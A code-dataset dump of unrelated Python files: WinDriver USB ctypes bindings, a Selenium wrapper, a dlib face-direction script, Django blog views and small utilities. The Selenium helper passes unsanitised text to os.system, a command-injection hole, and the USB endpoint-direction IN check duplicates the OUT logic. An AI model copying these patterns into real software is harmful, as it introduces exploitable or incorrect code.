TRANSFER options\n\nUSB_ISOCH_RESET = 0x10\nUSB_ISOCH_FULL_PACKETS_ONLY = 0x20\n# Windows only, ignored on other OS:\nUSB_ABORT_PIPE = 0x40\nUSB_ISOCH_NOASAP = 0x80\nUSB_BULK_INT_URB_SIZE_OVERRIDE_128K = 0x100 # Force a 128KB maximum\n # URB size\n# All OS\nUSB_STREAM_OVERWRITE_BUFFER_WHEN_FULL = 0x200,\n\n# The following flags are no longer used beginning with v6.0:\nUSB_TRANSFER_HALT = 0x1\nUSB_SHORT_TRANSFER = 0x2\nUSB_FULL_TRANSFER = 0x4\nUSB_ISOCH_ASAP = 0x8\n\nWDU_REGISTER_DEVICES_HANDLE = PVOID\n\n# Descriptor types\nWDU_DEVICE_DESC_TYPE = 0x01\nWDU_CONFIG_DESC_TYPE = 0x02\nWDU_STRING_DESC_STRING = 0x03\nWDU_INTERFACE_DESC_TYPE = 0x04\nWDU_ENDPOINT_DESC_TYPE = 0x05\n\n# Endpoint descriptor fields\nWDU_ENDPOINT_TYPE_MASK = 0x03\nWDU_ENDPOINT_DIRECTION_MASK = 0x80\nWDU_ENDPOINT_ADDRESS_MASK = 0x0f\n# test direction bit in the bEndpointAddress field of an endpoint\n# descriptor.\n\ndef WDU_ENDPOINT_DIRECTION_OUT(addr):\n return not ((addr) & WDU_ENDPOINT_DIRECTION_MASK)\ndef WDU_ENDPOINT_DIRECTION_IN(addr):\n return not ((addr) & WDU_ENDPOINT_DIRECTION_MASK)\ndef WDU_GET_MAX_PACKET_SIZE(x):\n return USHORT(((x) & 0x7ff) * (1 + (((x) & 0x1800) >> 11)))\n\nif \"linux\" not in sys.platform:\n #USB_DIR\n USB_DIR_IN = 1\n USB_DIR_OUT = 2\n USB_DIR_IN_OUT = 3\n\nclass WDU_PIPE_INFO(Structure): _fields_ = \\\n [(\"dwNumber\", DWORD), # Pipe 0 is the default pipe\n (\"dwMaximumPacketSize\", DWORD),\n (\"type\", DWORD), # USB_PIPE_TYPE\n (\"direction\", DWORD), # WDU_DIR\n # Isochronous, Bulk, Interrupt are either USB_DIR_IN\n # or USB_DIR_OUT. Control are USB_DIR_IN_OUT\n (\"dwInterval\", DWORD)] # interval in ms relevant to Interrupt pipes\n\nclass WDU_INTERFACE_DESCRIPTOR(Structure): _fields_ = \\\n [(\"bLength\", UCHAR),\n (\"bDescriptorType\", UCHAR),\n (\"bInterfaceNumber\", UCHAR),\n (\"bAlternateSetting\", UCHAR),\n (\"bNumEndpoints\", UCHAR),\n (\"bInterfaceClass\", UCHAR),\n (\"bInterfaceSubClass\", UCHAR),\n (\"bInterfaceProtocol\", UCHAR),\n (\"iInterface\", UCHAR)]\n\nclass WDU_ENDPOINT_DESCRIPTOR(Structure): _fields_ = \\\n [(\"bLength\", UCHAR),\n (\"bDescriptorType\", UCHAR),\n (\"bEndpointAddress\", UCHAR),\n (\"bmAttributes\", UCHAR),\n (\"wMaxPacketSize\", USHORT),\n (\"bInterval\", UCHAR)]\n\nclass WDU_CONFIGURATION_DESCRIPTOR(Structure): _fields_ = \\\n [(\"bLength\", UCHAR),\n (\"bDescriptorType\", UCHAR),\n (\"wTotalLength\", USHORT),\n (\"bNumInterfaces\", UCHAR),\n (\"bConfigurationValue\", UCHAR),\n (\"iConfiguration\", UCHAR),\n (\"bmAttributes\", UCHAR),\n (\"MaxPower\", UCHAR)]\n\nclass WDU_DEVICE_DESCRIPTOR(Structure): _fields_ = \\\n [(\"bLength\", UCHAR),\n (\"bDescriptorType\", UCHAR),\n (\"bcdUSB\", USHORT),\n (\"bDeviceClass\", UCHAR),\n (\"bDeviceSubClass\", UCHAR),\n (\"bDeviceProtocol\", UCHAR),\n (\"bMaxPacketSize0\", UCHAR),\n (\"idVendor\", USHORT),\n (\"idProduct\", USHORT),\n (\"bcdDevice\", USHORT),\n (\"iManufacturer\", UCHAR),\n (\"iProduct\", UCHAR),\n (\"iSerialNumber\", UCHAR),\n (\"bNumConfigurations\", UCHAR)]\n\nclass WDU_ALTERNATE_SETTING(Structure): _fields_ = \\\n [(\"Descriptor\", WDU_INTERFACE_DESCRIPTOR),\n (\"pEndpointDescriptors\", POINTER(WDU_ENDPOINT_DESCRIPTOR)),\n (\"pPipes\", POINTER(WDU_PIPE_INFO))]\n\nclass WDU_INTERFACE(Structure): _fields_ = \\\n [(\"pAlternateSettings\", POINTER(WDU_ALTERNATE_SETTING)),\n (\"dwNumAltSettings\", DWORD),\n (\"pActiveAltSetting\", POINTER(WDU_ALTERNATE_SETTING))]\n\nclass WDU_CONFIGURATION(Structure): _fields_ = \\\n [(\"Descriptor\", WDU_CONFIGURATION_DESCRIPTOR),\n (\"dwNumInterfaces\", DWORD),\n (\"pInterfaces\", POINTER(WDU_INTERFACE))]\n\nclass WDU_DEVICE(Structure): _fields_ = \\\n [(\"Descriptor\", WDU_DEVICE_DESCRIPTOR),\n (\"Pipe0\", WDU_PIPE_INFO),\n (\"pConfigs\", POINTER(WDU_CONFIGURATION)),\n (\"pActiveConfig\", POINTER(WDU_CONFIGURATION)),\n (\"pActiveInterface\", WD_USB_MAX_INTERFACES * POINTER(WDU_INTERFACE))]\n\n# Note: Any devices found matching this table will be controlled\nclass WDU_MATCH_TABLE(Structure): _fields_ = \\\n [(\"wVendorId\", USHORT),\n (\"wProductId\", USHORT),\n (\"bDeviceClass\", UCHAR),\n (\"bDeviceSubClass\", UCHAR),\n (\"bInterfaceClass\", UCHAR),\n (\"bInterfaceSubClass\", UCHAR),\n (\"bInterfaceProtocol\", UCHAR)]\n\nclass WDU_GET_DEVICE_DATA(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"pBuf\", PVOID),\n (\"dwBytes\", DWORD),\n (\"dwOptions\", DWORD)]\n\n# these enum values can be used as dwProperty values, see structure\n# WD_GET_DEVICE_PROPERTY below.\n\n#WD_DEVICE_REGISTRY_PROPERTY\n( WdDevicePropertyDeviceDescription,\n WdDevicePropertyHardwareID,\n WdDevicePropertyCompatibleIDs,\n WdDevicePropertyBootConfiguration,\n WdDevicePropertyBootConfigurationTranslated,\n WdDevicePropertyClassName,\n WdDevicePropertyClassGuid,\n WdDevicePropertyDriverKeyName,\n WdDevicePropertyManufacturer,\n WdDevicePropertyFriendlyName,\n WdDevicePropertyLocationInformation,\n WdDevicePropertyPhysicalDeviceObjectName,\n WdDevicePropertyBusTypeGuid,\n WdDevicePropertyLegacyBusType,\n WdDevicePropertyBusNumber,\n WdDevicePropertyEnumeratorName,\n WdDevicePropertyAddress,\n WdDevicePropertyUINumber,\n WdDevicePropertyInstallState,\n WdDevicePropertyRemovalPolicy) = xrange(1, 21)\n\n\nclass WDU_SET_INTERFACE(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwInterfaceNum\", DWORD),\n (\"dwAlternateSetting\", DWORD),\n (\"dwOptions\", DWORD)]\n\nclass WDU_RESET_PIPE(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwPipeNum\", DWORD),\n (\"dwOptions\", DWORD)]\n\n#WDU_WAKEUP_OPTIONS\nWDU_WAKEUP_ENABLE = 0x1\nWDU_WAKEUP_DISABLE = 0x2\n\n#WDU_SELECTIVE_SUSPEND_OPTIONS\nWDU_SELECTIVE_SUSPEND_SUBMIT = 0x1\nWDU_SELECTIVE_SUSPEND_CANCEL = 0x2\n\nclass WDU_HALT_TRANSFER(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwPipeNum\", DWORD),\n (\"dwOptions\", DWORD)]\n\nclass WDU_WAKEUP(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwOptions\", DWORD)]\n\nclass WDU_SELECTIVE_SUSPEND(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwOptions\", DWORD)]\n \nclass WDU_RESET_DEVICE(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwOptions\", DWORD)]\n\nclass WDU_TRANSFER(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwPipeNum\", DWORD), # Pipe number on device.\n (\"fRead \", DWORD), # TRUE for read (IN) transfers FALSE for write (OUT)\n # transfers.\n (\"dwOptions\", DWORD), # USB_TRANSFER options:\n # USB_ISOCH_FULL_PACKETS_ONLY - For isochronous\n # transfers only. If set, only full packets will be\n # transmitted and the transfer function will return\n # when the amount of bytes left to transfer is less\n # than the maximum packet size for the pipe (the\n # function will return without transmitting the\n # remaining bytes).\n (\"pBuffer\", PVOID), # Pointer to buffer to read/write.\n (\"dwBufferSize\", DWORD), # Amount of bytes to transfer.\n (\"dwBytesTransferred\", DWORD), # Returns the number of bytes actually\n # read/written\n (\"SetupPacket[8]\", UCHAR), # Setup packet for control pipe transfer.\n (\"dwTimeout\", DWORD)] # Timeout for the transfer in milliseconds. Set to 0 \n # for infinite wait.\n\nclass WDU_GET_DESCRIPTOR(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"bType\", UCHAR),\n (\"bIndex\", UCHAR),\n (\"wLength\", USHORT),\n (\" pBuffer\", PVOID),\n (\"wLanguage\", USHORT)]\n\nclass WDU_STREAM(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwOptions\", DWORD),\n (\"dwPipeNum\", DWORD),\n (\"dwBufferSize\", DWORD),\n (\"dwRxSize\", DWORD),\n (\"fBlocking\", BOOL),\n (\"dwRxTxTimeout\", DWORD),\n (\"dwReserved\", DWORD)]\n\nclass WDU_STREAM_STATUS(Structure): _fields_ = \\\n [(\"dwUniqueID\", DWORD),\n (\"dwOptions\", DWORD),\n (\"fIsRunning\", BOOL),\n (\"dwLastError\", DWORD),\n (\"dwBytesInBuffer\", DWORD),\n (\"dwReserved\", DWORD)]\n\n","sub_path":"WinDriver/python/wdlib/windrvr_usb.py","file_name":"windrvr_usb.py","file_ext":"py","file_size_in_byte":8620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"613822029","text":"import db\nfrom example.bar import Bar\n\n\nclass Foo(db.Model):\n FILE = __file__\n\n\nif __name__==\"__main__\":\n f = Foo()\n f.a = Bar()\n f.a.b = [1, 2, 3]\n f.a.c = {\"a\": 1, \"b\": 1}\n f.b = 3\n\n db.write_json(f.to_dict())\n new_f = Foo.init(db.read_json())\n print(\"new\")\n","sub_path":"example/foo.py","file_name":"foo.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"565608498","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.common.exceptions import StaleElementReferenceException, NoAlertPresentException, NoSuchFrameException\nfrom selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport re\nimport platform\nimport os\nimport time\nimport inspect\n\n\nclass Browser(webdriver.Chrome, webdriver.Firefox, webdriver.Ie):\n\n def __init__(self):\n self.status = True\n self.cookie = ''\n\n def open_browser(self, browser, proxy=None):\n log_level = DesiredCapabilities.CHROME\n log_level['loggingPrefs'] = {'browser': 'SEVERE'}\n chrome_options = Options()\n chrome_options.add_argument('--no-sandbox')\n chrome_options.add_experimental_option('prefs', {\"profile.managed_default_content_settings.images\": 2,\n \"plugins.plugins_disabled\": [\"Adobe Flash Player\"]})\n if proxy:\n chrome_options.add_argument('--proxy-server=%s' % proxy)\n if browser.lower() == \"ie\":\n webdriver.Ie.__init__(self)\n log(\"I open IE browser.\")\n elif browser.lower() == \"chrome\":\n webdriver.Chrome.__init__(self, desired_capabilities=log_level, chrome_options=chrome_options)\n log(\"I open Chrome Browser\")\n elif browser.lower() == \"firefox\":\n webdriver.Firefox.__init__(self)\n log(\"I open Firefox Browser\")\n elif browser.lower() == 'mobile':\n mobile_emulation = {\n \"deviceMetrics\": {\"width\": 1920, \"height\": 980, \"pixelRatio\": 3.0},\n \"userAgent\": \"Mozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/537.51.1 \"\n \"(KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53\"}\n chrome_options.add_experimental_option(\"mobileEmulation\", mobile_emulation)\n webdriver.Chrome.__init__(self, desired_capabilities=log_level, chrome_options=chrome_options)\n log(\"I open Mobile Browser\")\n\n def go(self, url):\n start = time.time()\n self.get(url)\n end = time.time() - start\n # log(\"User opens URL: %s for %s seconds\" % (url, round(end, 3)))\n # self.check_console_errors()\n\n def switchtowindow(self, window):\n self.switch_to.window(self.window_handles[window])\n log(\"User switches to %d window\" % window)\n\n def closewindow(self):\n self.close()\n log(\"Window is closed.\")\n\n def closebrowser(self):\n self.quit()\n log(\"Browser is closed.\")\n\n def maximize(self):\n self.maximize_window()\n log(\"The window is maximized.\")\n\n def snapshot(self):\n path = os.path.dirname(__file__) + '/Log/'\n brand = ''\n try:\n for i in 'allballs', 'ebay', 'mirrors':\n if i not in inspect.stack()[2][1]:\n continue\n else:\n brand = '%s/' % i\n break\n except Exception:\n pass\n screen_dir = path + brand + time.strftime(\"%Y-%m-%d\") + \"/\"\n if not os.path.exists(screen_dir):\n os.makedirs(screen_dir)\n if inspect.currentframe().f_back.f_code.co_name == 'error':\n if inspect.stack()[2][3] == 'test':\n screen_name = time.strftime(\"%H.%M.%S \") + inspect.stack()[3][3] + \".png\"\n else:\n screen_name = time.strftime(\"%H.%M.%S \") + inspect.stack()[2][3] + \".png\"\n else:\n screen_name = time.strftime(\"%H.%M.%S \") + inspect.currentframe().f_back.f_code.co_name + \".png\"\n self.get_screenshot_as_file(screen_dir + screen_name)\n print('' % screen_name)\n\n def click(self, element, name):\n if element.lower() == 'id': elements = self.find_elements_by_id(name)\n elif element.lower() == 'name': elements = self.find_elements_by_name(name)\n elif element.lower() == 'class_name': elements = self.find_elements_by_class_name(name)\n elif element.lower() == 'text': elements = self.find_elements_by_xpath(\"//*[contains(text(), '%s')]\" % name)\n elif element.lower() == 'xpath': elements = self.find_elements_by_xpath(name)\n else: log(\"Entered element is incorrect\", 'red')\n if elements:\n for e in elements:\n try:\n e.click()\n if '*' in str(inspect.stack()[1][4]):\n name = re.findall('[A-Z_]+', str(inspect.stack()[1][4]))[0]\n log(\"User clicks on: %s\" % name)\n # self.check_console_errors()\n break\n except Exception as error:\n print(error)\n if e == elements[-1]:\n log(\"Can't click on element with %s : %s\" % (element, name), 'red')\n raise Error\n else:\n log(\"Can't find %s with name: %s\" % (element, name), 'red')\n raise Error\n\n def type(self, element, name, text):\n if element.lower() == 'id': elements = self.find_elements_by_id(name)\n elif element.lower() == 'name': elements = self.find_elements_by_name(name)\n elif element.lower() == 'class_name': elements = self.find_elements_by_class_name(name)\n elif element.lower() == 'text': elements = self.find_elements_by_xpath(\"//*[contains(text(), '%s')]\" % name)\n elif element.lower() == 'xpath': elements = self.find_elements_by_xpath(name)\n else: log(\"Entered element is incorrect\", 'red')\n if elements:\n for e in elements:\n try:\n e.send_keys(text)\n if '*' in str(inspect.stack()[1][4]):\n name = re.findall('[A-Z_]+', str(inspect.stack()[1][4]))[0]\n log(\"User types into: %s text: %s\" % (name, text))\n return e\n except Exception as error:\n log(error)\n if e == elements[-1]:\n log(\"Can't type on %s with name: %s\" % (element, name), 'red')\n raise Error\n else:\n log(\"Can't find %s with name: %s\" % (element, name), 'red')\n raise Error\n\n def hover(self, element, name):\n if element.lower() == 'id': elements = self.find_elements_by_id(name)\n elif element.lower() == 'name': elements = self.find_elements_by_name(name)\n elif element.lower() == 'class_name': elements = self.find_elements_by_class_name(name)\n elif element.lower() == 'text': elements = self.find_elements_by_xpath(\"//*[contains(text(), '%s')]\" % name)\n elif element.lower() == 'xpath': elements = self.find_elements_by_xpath(name)\n if elements:\n for e in elements:\n try:\n self.action.move_to_element(e).perform()\n time.sleep(1)\n if '*' in str(inspect.stack()[1][4]):\n name = str(inspect.stack()[1][4]).split('*')[-1].split(')')[0]\n log(\"User hovers on: %s \" % name)\n return e\n except Exception:\n if e == elements[-1]:\n log(\"Can't hover on %s with text: %s\" % (element, name), 'red')\n raise Error\n else:\n log(\"Can't find %s with name: %s\" % (element, name), 'red')\n raise Error\n\n def waitfor(self, element, name, delay=10):\n try:\n start = time.time()\n if element.lower() == 'id': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.ID, name)))\n elif element.lower() == 'name': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.NAME, name)))\n elif element.lower() == 'class_name': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.CLASS_NAME, name)))\n elif element.lower() == 'text': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.XPATH, \"//*[contains(text(), '%s')]\" % name)))\n elif element.lower() == 'xpath': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.XPATH, name)))\n else: log(\"Entered element is incorrect\", 'red')\n end = time.time() - start\n if '*' in str(inspect.stack()[1][4]):\n name = re.findall('[A-Z_]+', str(inspect.stack()[1][4]))[0]\n # log(\"User waits for: %s %s seconds\" % (name, round(end, 3)))\n except Exception:\n # log(\"%s: %s wasn't shown in %d seconds\" % (element, name, delay), 'red')\n raise Error\n\n def exists(self, element, name, delay=10, reverse=0):\n if reverse == 0:\n pos = 'green'\n neg = 'red'\n else:\n pos = 'red'\n neg = 'green'\n try:\n if element.lower() == 'id': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.ID, name)))\n elif element.lower() == 'name': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.NAME, name)))\n elif element.lower() == 'class_name': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.CLASS_NAME, name)))\n elif element.lower() == 'text': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.XPATH, \"//*[contains(text(), '%s')]\" % name)))\n elif element.lower() == 'xpath': WebDriverWait(self, delay).until(ec.element_to_be_clickable((By.XPATH, name)))\n else: log(\"Entered element is incorrect\", 'red')\n if '*' in str(inspect.stack()[1][4]):\n name = re.findall('[A-Z_]+', str(inspect.stack()[1][4]))[0]\n log(\"%s: exists\" % name, color=pos)\n return True\n except Exception:\n log(\"%s: %s doesn't exist\" % (element, name), color=neg)\n return False\n\n def count(self, element, name, displayed=1):\n if element.lower() == 'id': elements = self.find_elements_by_id(name)\n elif element.lower() == 'name': elements = self.find_elements_by_name(name)\n elif element.lower() == 'class_name': elements = self.find_elements_by_class_name(name)\n elif element.lower() == 'text': elements = self.find_elements_by_xpath(\"//*[contains(text(), '%s')]\" % name)\n else: log(\"Entered element is incorrect\", 'red')\n if elements:\n return len([x for x in elements if x.is_displayed()])\n else:\n return 0\n\n def find_all(self, element, name):\n if element.lower() == 'id': elements = self.find_elements_by_id(name)\n elif element.lower() == 'name': elements = self.find_elements_by_name(name)\n elif element.lower() == 'class_name': elements = self.find_elements_by_class_name(name)\n elif element.lower() == 'text': elements = self.find_elements_by_xpath(\"//*[contains(text(), '%s')]\" % name)\n elif element.lower() == 'xpath': elements = self.find_elements_by_xpath(name)\n else: log(\"Entered element is incorrect\", 'red')\n if elements:\n return [x for x in elements if x.is_displayed()]\n else:\n return []\n\n def save_cookie(self, cookie):\n self.cookie = self.get_cookie(cookie)['value']\n\n def close_popup(self):\n popup = self.find_all('class_name', 'popup-close')[0]\n try:\n while popup.is_displayed():\n popup.click()\n time.sleep(0.1)\n except Exception:\n pass\n log('Popup closed')\n\n def error(self, *message):\n if message:\n log(message, 'red')\n self.status = False\n self.snapshot()\n return self.status\n\n def warning(self, *message):\n if message:\n log(message, 'yel')\n self.status = False\n return self.status\n\n def check_console_errors(self):\n errors = self.get_log('browser')\n if errors:\n for i in errors:\n log_console_errors(\"Console error: %s\" % i['message'])\n\n\ndef wait_until(condition, timeout, period=0.4):\n end = time.time() + timeout\n while time.time() < end:\n try:\n if condition():\n return True\n time.sleep(period)\n except StaleElementReferenceException:\n pass\n return False\n\n\ndef addtoclipboard(text):\n if 'Windows' in platform.platform():\n command = 'echo ' + text.strip() + '| clip'\n else:\n command = 'echo ' + text.strip() + '| xclip -d :1 -selection clipboard'\n os.system(command)\n\n\ndef log(message, color='green'):\n if color.lower() == 'red': template = '%s'\n elif color.lower() == 'yel': template = '%s'\n else: template = '%s'\n print(template % message)\n\n\ndef log_console_errors(message):\n template = '%s'\n print(template % message)\n\n\nclass Error(Exception):\n pass\n","sub_path":"Methods.py","file_name":"Methods.py","file_ext":"py","file_size_in_byte":13299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"210254896","text":"# coding:utf-8\nimport sys\nimport dlib\nimport numpy\nfrom skimage import io\nimport cv2\n\ndef main():\n ESC_KEY = 27 # Escキーのキーコード\n INTERVAL= 33 # 待ち時間\n FRAME_RATE = 30 # fps\n color = (0, 0, 255)\n\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor('./shape_predictor_68_face_landmarks.dat')\n \n cascade_face = \"/Users/nakamurashogo/Downloads/opencv_data/haarcascades/haarcascade_frontalface_alt2.xml\"\n cascade_face = cv2.CascadeClassifier(cascade_face)\n \n cap = cv2.VideoCapture(0)\n end_flag, frame = cap.read()\n time = 0\n \n while end_flag == True:\n time += 1\n #print(time)\n frame = cv2.flip(frame,1)\n img = frame\n \n #顔の検出\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n face_list = cascade_face.detectMultiScale(img_gray, scaleFactor=1.1, minNeighbors=10, minSize=(100, 100))\n #切り取り式 img[y:x]\n if len(face_list) > 0:\n for rect in face_list:\n img = img[rect[1]-30:rect[1]+rect[3]+80,rect[0]-50:rect[0]+rect[2]+50]\n else:\n print(\"noface\")\n \n #顔検出(四角)\n rects = detector(img, 1)\n #特徴点検出\n for rect in rects:\n landmarks = numpy.matrix([[p.x , p.y]\n for p in predictor(img,rect).parts()]\n )\n shape = predictor(img, rect)\n \n #描画\n for i in range(68):\n cv2.circle(img, (shape.part(i).x, shape.part(i).y), 1,color, thickness=1)\n cv2.imshow(\"org\", frame)\n\n #鼻の頂点\n x1 = shape.part(30).x\n y1 = shape.part(30).y\n #鼻の根元\n x2 = shape.part(27).x\n y2 = shape.part(27).y\n #右目\n x3 = shape.part(1).x\n y3 = shape.part(1).y\n #左目\n x4 = shape.part(15).x\n y4 = shape.part(15).y\n #面積(絶対値)\n sRight = abs(0.5*(x1*(y2-y3)+x2*(y3-y1)+x3*(y1-y2)))\n sLeft = abs(0.5*(x1*(y2-y4)+x2*(y4-y1)+x4*(y1-y2)))\n \n if sRight > sLeft:\n print('右')\n elif sLeft > sRight:\n print('左')\n else:\n print('正面')\n\n # Escキーで終了\n key = cv2.waitKey(10)\n if key == ESC_KEY:\n break\n \n #次のフレーム読み込み\n end_flag, frame = cap.read()\n\n # 終了処理\n cap.release()\n cv2.destroyAllWindows()\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"landmarks_video3.py","file_name":"landmarks_video3.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"197120497","text":"class Solution:\n \"\"\"\n Complexity analysis:\n Time complextiy : O(n). Assume that n is the length of array. Here i\n traverses once per array\n Space complexity : O(1)\n \"\"\"\n\n def removeDuplicates(self, nums: List[int]) -> int:\n size = 1\n\n for i in range(1, len(nums)):\n if nums[i] != nums[i-1]:\n nums[size] = nums[i]\n size += 1\n\n return size\n","sub_path":"Problems/Leetcode/26_RemoveDuplicatesFromSortedArray.py","file_name":"26_RemoveDuplicatesFromSortedArray.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"653492336","text":"#!C:/Python27/python.exe\nimport os\nimport sys\nimport re\nfrom openpyxl import Workbook\nfrom openpyxl.comments import Comment\nimport openpyxl.styles\n\nexcelfile1 = \"Z:/Autotest/RN/4.1_kitpro_added_report_20180723_new.xlsx\" ## case list excel output by kitpro ###\nexcelfile2 = \"Z:/Autotest/RN/in_processing/RN41-subsidiaries.xlsx\" ## the excel which need add \"Added to autotest\"\ncase_list_column_infile1 = 'B' ##case list column in the excel output by kitpro\ncase_list_column_infile2 = 'A' ## case list column in the RN excel\nadd_info_column = 'H' ## add \"Added to autotest\" column\n\n\nwb1=openpyxl.load_workbook(excelfile1)\nws1=wb1.active\n\ncase_list_in_file1 = []\n\nfor i in range(1,1000):\n if ws1[case_list_column_infile1+str(i)].value != None:\n case_list_in_file1.append(ws1[case_list_column_infile1+str(i)].value)\n\n#wb2=openpyxl.load_workbook(excelfile2)\n\nwb2=openpyxl.load_workbook(excelfile2)\nws2=wb2.active\n\nfor i in range(1,1000):\n if ws2[case_list_column_infile2+str(i)].value != None:\n if ws2[case_list_column_infile2+str(i)].value in case_list_in_file1:\n ws2[add_info_column+str(i)].value = \"Added to autotest\"\n \nwb2.save(excelfile2)\n","sub_path":"process_excel/set_add_to_autotest.py","file_name":"set_add_to_autotest.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"592787454","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import Blog, Question\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom django.contrib import auth\nfrom .form import BlogPost, QuestionPost\nfrom django.core.paginator import Paginator\n\n# Create your views here.\n\ndef home(request):\n return render(request, 'home.html') \n\ndef notice(request):\n blogs = Blog.objects.filter(updated_at__lte=timezone.datetime.now()).order_by('-updated_at')\n blog_list=Blog.objects.filter(updated_at__lte=timezone.datetime.now()).order_by('-updated_at').all()\n paginator=Paginator(blog_list, 13)\n page=request.GET.get('page')\n posts=paginator.get_page(page)\n return render(request, 'notice.html', {'blogs':blogs, 'posts':posts})\n\ndef detail(request, blog_id):\n blogs = get_object_or_404(Blog, pk=blog_id)\n filename = blogs.image.name[6:]\n return render(request, 'detail.html', {'blogs':blogs, 'filename':filename}) #공지사항 detail\n\ndef questionboard(request):\n blogs = Question.objects.filter(updated_at__lte=timezone.datetime.now()).order_by('-updated_at')\n blog_list=Question.objects.filter(updated_at__lte=timezone.datetime.now()).order_by('-updated_at').all()\n paginator=Paginator(blog_list, 13)\n page=request.GET.get('page')\n posts=paginator.get_page(page)\n return render(request, 'questionboard.html', {'blogs':blogs, 'posts':posts})\n\ndef question(request, Question_id):\n blogs = get_object_or_404(Question, pk=Question_id)\n return render(request, 'question.html', {'blogs':blogs}) #자유게시판 details 각각 html 하나씩 만들어야됨 // html에서 blog.id한 이유는 for문이 blog여서\n\n'''\ndef write(request):\n return render(request, 'write.html') #공지사항 글쓰기 html\n\ndef writequestion(request):\n return render(request, 'writequestion.html') #질문게시판 글쓰기 html\n'''\n'''\ndef createnotice(request):\n blog = Blog(request.user, request.POST, request.FILES)\n blog.title = request.POST['title']\n blog.body = request.POST['body']\n blog.author = request.user\n blog.image = request.FILES['image']\n blog.created_at = timezone.datetime.now()\n blog.updated_at = timezone.datetime.now()\n blog.save()\n return redirect('/notice') #공지사항 글쓰기 버튼 클릭시\n'''\n\ndef blogpost(request): #총 write 보여지는거랑 쓰는걸 둘다 같이 하는 거에요. 원래 write라는 함수도 쓰고 save하는 함수도 썻는데 이건 그 두개다 하는 함수\n if request.method=='POST':\n form = BlogPost(request.POST, request.FILES) # request.FILES이미지 올릴때 필요\n if form.is_valid():\n post = form.save(commit=False) #form.py에서 form이라는 녀석을 따로 내가 만들었을 경우 필요한것\n #post.image = request.FILES['image'] #이미지 올릴때 필요\n post.author = request.user\n post.created_at = timezone.datetime.now()\n post.updated_at = timezone.datetime.now()\n post.save()\n return redirect('/notice')\n else:\n form = BlogPost()\n return render(request, 'write.html', {'form':form})\n\ndef Questionpost(request): #총 write 보여지는거랑 쓰는걸 둘다 같이 하는 거에요. 원래 write라는 함수도 쓰고 save하는 함수도 썻는데 이건 그 두개다 하는 함수\n if request.method=='POST':\n form = QuestionPost(request.POST, request.FILES) #request.FILES이미지 올릴때 필요\n if form.is_valid():\n post = form.save(commit=False) #form.py에서 form이라는 녀석을 따로 내가 만들었을 경우 필요한것\n #post.image = request.FILES['image'] #이미지 올릴때 필요\n post.author = request.user\n post.created_at = timezone.datetime.now()\n post.updated_at = timezone.datetime.now()\n post.save()\n return redirect('/questionboard')\n else:\n form = QuestionPost()\n return render(request, 'writequestion.html', {'form':form})\n\n #http://www.noelevans.co.uk/django-imagefields-in-forms/ 여기에서 알아냄","sub_path":"mainhome/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"636812394","text":"import AppClass2_sm\nalphabet = set(\"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\")\n#ex_alphabet = set(\"_.qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\")\nfilename = {}\n\ndef get_stats(name, filenames):\n if name in filenames:\n filenames[name] += 1\n else:\n filenames[name] = 1\n\nclass AppClass:\n\n\n def __init__(self):\n self._fsm = AppClass2_sm.AppClass_sm(self)\n self._is_acceptable = False\n self.counter = 0\n self.filename = ''\n self.current_string = ''\n\n def Counter(self):\n self.counter += 1\n\n def ResetCounter(self):\n self.counter = 0\n\n def Acceptable(self):\n self._is_acceptable = True\n\n def Unacceptable(self):\n self._is_acceptable = False\n\n def Save_name(self):\n self.filename = self.current_string[-self.counter:]\n\n def check(self, string):\n self.current_string = string\n 